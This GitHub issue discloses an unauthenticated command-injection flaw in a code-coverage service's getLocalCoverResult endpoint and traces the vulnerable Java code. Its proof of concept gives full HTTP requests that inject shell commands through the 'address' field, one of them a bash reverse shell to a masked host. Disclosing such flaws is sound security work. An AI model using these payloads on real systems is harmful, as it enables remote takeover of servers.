Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unauthorized attackers can execute any command with getLocalCoverResult Interface #51

Open
gaogaostone opened this issue Nov 7, 2024 · 0 comments

Comments

@gaogaostone
Copy link

When accessing the getLocalCoverResult Interface with special request, unauthorized attackers can execute any command on the target system.

Code Analyzing

  1. The function getEnvLocalCoverResult in file CodeCovController.java handles the request for getLocalCoverResult. And it calls codeCovService.getLocalCoverResult.
    /**
     * 手动获取env增量代码覆盖率,代码部署和覆盖率服务在同一机器上,可直接读取本机源码和本机class文件
     *
     * @return
     */
    @RequestMapping(value = "/getLocalCoverResult", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_UTF8_VALUE)
    @ResponseBody
    public HttpResult<CoverResult> getEnvLocalCoverResult(@RequestBody @Valid LocalHostRequestParam localHostRequestParam) {

        return HttpResult.success(codeCovService.getLocalCoverResult(localHostRequestParam));

    }
  1. The function getLocalCoverResult in file CodeCovServiceImpl.java calls the pullExecFile function.
    @Override
    public CoverResult getLocalCoverResult(LocalHostRequestParam localHostRequestParam) {
        //path 处理
        localHostRequestParam.setBasePath(localHostRequestParam.getBasePath().endsWith("/") ? localHostRequestParam.getBasePath() : (localHostRequestParam.getBasePath() + "/"));
        localHostRequestParam.setNowPath(localHostRequestParam.getNowPath().endsWith("/") ? localHostRequestParam.getNowPath() : (localHostRequestParam.getNowPath() + "/"));
        //1、计算增量代码
        String diffFiles = diffMethodsCalculator.executeDiffMethodsForEnv(localHostRequestParam.getBasePath(), localHostRequestParam.getNowPath(), localHostRequestParam.getBaseVersion(), localHostRequestParam.getNowVersion());
        CoverResult result = new CoverResult();
        if (diffFiles == null) {
            result.setCoverStatus(-1);
            result.setLineCoverage(-1);
            result.setBranchCoverage(-1);
            result.setErrMsg("未检测到增量代码");
            return result;
        }
        //2、拉取jacoco.exec文件并解析
        if (StringUtils.isEmpty(localHostRequestParam.getAddress())) {
            localHostRequestParam.setAddress("127.0.0.1");
        }
        CoverResult coverResult = pullExecFile(localHostRequestParam, diffFiles, localHostRequestParam.getSubModule());
        //3、tomcat整合
        //todo
        return coverResult;
    }
  1. In the function pullExecFile, it has command combinations with paramters localHostRequestParam.getNowPath()localHostRequestParam.getAddress()localHostRequestParam.getPort().
    image

Proof of Concept

Attacker can inject command in the parameter address. The request with file creation and results are as following.
The following conditions should be satisfied:

  1. the parameter basePath and nowPath need to be the local paths where the Git repository is stored.
  2. the parameter baseVersion and nowVersion need to be two version numbers from the repository, with new Java files added between these versions.

With above conditions satisfied, although the response message may return an error saying 'Failed to pull the executable file,' the command still executes successfully.

POST /cov/getLocalCoverResult HTTP/1.1
Host: x.x.x.x:8899
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 402


{
    "address":"127.0.0.1 || touch /tmp/superjacoco000456789 ||",
    "port":8899,
		"subModule":"/etc/passwd",
    "classFilePath":"127.0.0.1",
    "basePath":"/tmp/gitlab_workdir1/",
    "nowPath":"/tmp/gitlab_workdir2/",
"uuid":"123",
"gitUrl":"127.0.0.1",
"baseVersion":"7965193defdfb86692f6dfcf84f567b1c425f9e5",
"nowVersion":"fa8ffa7a44d469ee654e5b7a58bdb50539301f3d",
"type":"1"
}

image
image

The payload with reverse shell and execution results are as following.

POST /cov/getLocalCoverResult HTTP/1.1
Host: x.x.x.x:8899
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 414


{
    "address":"127.0.0.1 || bash -i >& /dev/tcp/x.x.x.x/9333 0>&1 ||",
    "port":8899,
		"subModule":"/etc/passwd",
    "classFilePath":"127.0.0.1",
    "basePath":"/tmp/gitlab_workdir1/",
    "nowPath":"/tmp/gitlab_workdir2/",
"uuid":"123",
"gitUrl":"127.0.0.1",
"baseVersion":"7965193defdfb86692f6dfcf84f567b1c425f9e5",
"nowVersion":"fa8ffa7a44d469ee654e5b7a58bdb50539301f3d",
"type":"1"
}

image
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant